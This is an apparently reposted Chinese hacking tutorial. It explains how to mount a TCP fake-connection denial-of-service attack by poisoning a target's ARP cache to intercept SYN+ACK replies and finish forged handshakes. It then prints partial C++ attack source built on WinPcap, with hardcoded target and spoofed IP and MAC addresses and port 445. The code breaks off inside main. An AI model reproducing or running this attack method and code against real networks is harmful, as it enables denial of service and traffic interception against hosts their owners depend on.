明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

基于ARP欺騙的TCP偽連接DOS

[摘要]從某種意義上說(shuō), 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實(shí)現(xiàn)了。 以前LionD8就曾經(jīng)用這個(gè)思路做出了一個(gè)新型D.o.S, 而今天, 我用的也是這個(gè)思路。 但是, 如果直接偽造...

從某種意義上說(shuō), 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實(shí)現(xiàn)了。 以前LionD8就曾經(jīng)用這個(gè)思路做出了一個(gè)新型D.o.S, 而今天, 我用的也是這個(gè)思路。 但是, 如果直接偽造TCP三次握手而不作其他任何處理, 那卻是不行的。 因?yàn)椋?當(dāng)攻擊的目標(biāo)主機(jī)接收到我們發(fā)過(guò)去的偽造的SYN包后會(huì)發(fā)回一個(gè)SYN+ACK包(也就是第二次握手)。 而當(dāng)我們的系統(tǒng)收到這個(gè)SYN+ACK包后, 由于系統(tǒng)內(nèi)并沒(méi)有發(fā)起真正的TCP連接, 因此系統(tǒng)會(huì)發(fā)回一個(gè)RST包, 這個(gè)包將使目標(biāo)主機(jī)重置連接。 這樣, 這個(gè)偽連接就建立失敗了。

  要解決這個(gè)問(wèn)題, 辦法有不少, 而我這里要用的方法就是ARP欺騙。 首先, 我們要對(duì)目標(biāo)主機(jī)進(jìn)行ARP欺騙, 讓它認(rèn)為我們是同一網(wǎng)段中的另一臺(tái)機(jī)器。 然后我們就可以偽裝這臺(tái)機(jī)器向目標(biāo)主機(jī)發(fā)起TCP偽連接了。 這樣一來(lái), 即使目標(biāo)主機(jī)返回一個(gè)SYN+ACK包, 這個(gè)包也不會(huì)進(jìn)入到我們的系統(tǒng)(因?yàn)檫@個(gè)包的目的IP不會(huì)是我們而應(yīng)該是我們偽裝的那臺(tái)主機(jī)的IP), 這樣, 我們的系統(tǒng)也不會(huì)向目標(biāo)主機(jī)發(fā)送RST包了。

  打個(gè)比方, 假設(shè)我們是主機(jī)A, 現(xiàn)在我想要攻擊主機(jī)B。 首先, 我先偽裝主機(jī)C對(duì)B進(jìn)行ARP欺騙(以C的IP地址和A的MAC地址構(gòu)造ARP應(yīng)答包發(fā)送到B), 這樣, B的ARP緩存中就會(huì)記錄下C的IP對(duì)應(yīng)A的MAC地址。 然后, 我們?cè)僖訡的IP為源IP構(gòu)造SYN數(shù)據(jù)包, 向B發(fā)起TCP偽連接。 當(dāng)B收到這個(gè)SYN包之后, 它會(huì)構(gòu)造一個(gè)SYN+ACK包發(fā)往C。 但是, 由于此時(shí)在B的ARP緩存中記錄著:C的IP對(duì)應(yīng)A的MAC地址, 因此, 這個(gè)SYN+ACK包實(shí)際上被發(fā)送到了A。 雖然, 這個(gè)包將被A的系統(tǒng)所丟棄(因?yàn)檫@個(gè)包的目的IP是C的IP而不是A的IP, 所以A的系統(tǒng)將會(huì)丟棄這個(gè)包), 但是, 我們?nèi)匀豢梢詮逆溌穼又苯訉⑦@個(gè)數(shù)據(jù)幀獲取下來(lái)。 得到了這個(gè)SYN+ACK包之后, 我們需要再次偽裝C向B發(fā)回一個(gè)ACK包完成第三次握手。 這樣, TCP初始化連接的三次握手都完成了, 我們的偽連接也成功建立了!

  偽連接建立之后, 我們還可以繼續(xù)向目標(biāo)主機(jī)發(fā)送數(shù)據(jù), 來(lái)保證TCP連接的存活。

  這里, 有幾個(gè)需要注意的問(wèn)題:首先, 為了保證攻擊過(guò)程中目標(biāo)主機(jī)的ARP緩存不被更改, 我們需要持續(xù)不斷的對(duì)其進(jìn)行ARP欺騙;第二, 為了防止在攻擊過(guò)程中我們偽裝的主機(jī)向目標(biāo)主機(jī)發(fā)起通信, 刷新目標(biāo)主機(jī)的ARP緩存, 對(duì)我們的攻擊造成影響, 我們還可以對(duì)偽裝主機(jī)也同時(shí)進(jìn)行ARP欺騙, 以增加攻擊成功的幾率。

  好了, 說(shuō)了這么多, 下面就給出我實(shí)現(xiàn)的源代碼, 歡迎大蝦們多多指教。

  // DOS_By_ARPCheat.cpp : Defines the entry point for the console application.

  //

  #include "stdafx.h"

  #include "winsock2.h"

  #include "Packet32.h"

  #include "stdio.h"

  #pragma comment(lib, "packet")

  #pragma comment(lib, "ws2_32")

  //下面幾個(gè)宏是測(cè)試用的主機(jī)的IP和MAC

  #define SIMULATE_MAC "0011111d735a" //偽裝主機(jī)的MAC地址

  #define TARGET_MAC "001111c6f7fe" //目的主機(jī)的MAC地址

  #define LOCAL_MAC "00e06e41508f" //本機(jī)MAC地址

  #define TARGET_IP "211.83.97.24" //目的主機(jī)的IP

  #define SIMULATE_IP "211.83.97.16" //偽裝主機(jī)的IP

  #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

  #pragma pack(push, 1)

  struct ET_HEADER //以太網(wǎng)頭部

  {

  unsigned char eh_dst[6];

  unsigned char eh_src[6];

  unsigned short eh_type;

  };

  struct ARP_HEADER //ARP頭部

  {

  unsigned short arp_hdr;

  unsigned short arp_pro;

  unsigned char arp_hln;

  unsigned char arp_pln;

  unsigned short arp_opt;

  unsigned char arp_sha[6];

  unsigned long arp_spa;

  unsigned char arp_tha[6];

  unsigned long arp_tpa;

  };

  struct IP_HEADER //IP頭部

  {

  char m_ver_hlen; //4位版本號(hào),4位ip頭部長(zhǎng)

  char m_tos;

  USHORT m_tlen;

  USHORT m_ident;

  USHORT m_flag_frag; //3位標(biāo)志位(1位未用位,1位DF,1位MF),13位片斷偏移量

  char m_ttl;

  char m_protocol;

  USHORT m_cksum;

  ULONG m_sIP;

  ULONG m_dIP;

  };

  struct TCP_HEADER //TCP頭部

  {

  USHORT m_sport;

  USHORT m_dport;

  ULONG m_seq;

  ULONG m_ack;

  char m_hlen_res4; //4位tcp頭部長(zhǎng),6位保留的前4位

  char m_res2_flag; //6位保留的后2位,6位標(biāo)志

  USHORT m_win;

  USHORT m_cksum;

  USHORT m_urp;

  };

  struct PSD_HEADER //偽頭部, 計(jì)算校驗(yàn)和用

  {

  ULONG m_saddr; //源地址

  ULONG m_daddr; //目的地址

  char m_mbz;

  char m_ptcl; //協(xié)議類型

  USHORT m_tcpl; //TCP長(zhǎng)度

  };

  struct TCP_OPTION //TCP選項(xiàng), 發(fā)起偽連接時(shí)要用來(lái)與對(duì)方協(xié)商

  {

  USHORT unKnown;

  USHORT maxSegSize; //MSS,以太網(wǎng)一般為1460

  char no1;

  char no2;

  USHORT SACK;

  };

  struct CHEAT_ARP_INFO //ARP欺騙線程的參數(shù)

  {

  char simulateIP[20];

  char targetIP[20];

  char targetMAC[13];

  };

  #pragma pack(pop)

  USHORT CheckSum(USHORT *buffer, int size); //計(jì)算校驗(yàn)和的函數(shù)

  void StrToMac(char *str,char *mac); //字符串轉(zhuǎn)換為MAC地址

  void ListenACK(); //監(jiān)聽(tīng)函數(shù),監(jiān)聽(tīng)對(duì)方的回包

  void AssayAndSendData(LPPACKET lpPacket); //分析數(shù)據(jù)幀并發(fā)送回包

  DWORD WINAPI ArpCheat(void *pInfo); //ARP欺騙線程

  DWORD WINAPI SendSyn(void *no); //發(fā)送SYN包的線程

  void Info();

  LPADAPTER lpAdapter=NULL; //適配器指針

  USHORT ipID=1638; //IP標(biāo)識(shí)

  USHORT sourcePort=1056; //起始源端口

  USHORT targetPort=445; //目的端口

  int main(int argc, char* argv[])

  {

  Info();

  WSADATA wsaData;

  if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

  {

  printf("WSAStartup error!n");

  return -1;

  }


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。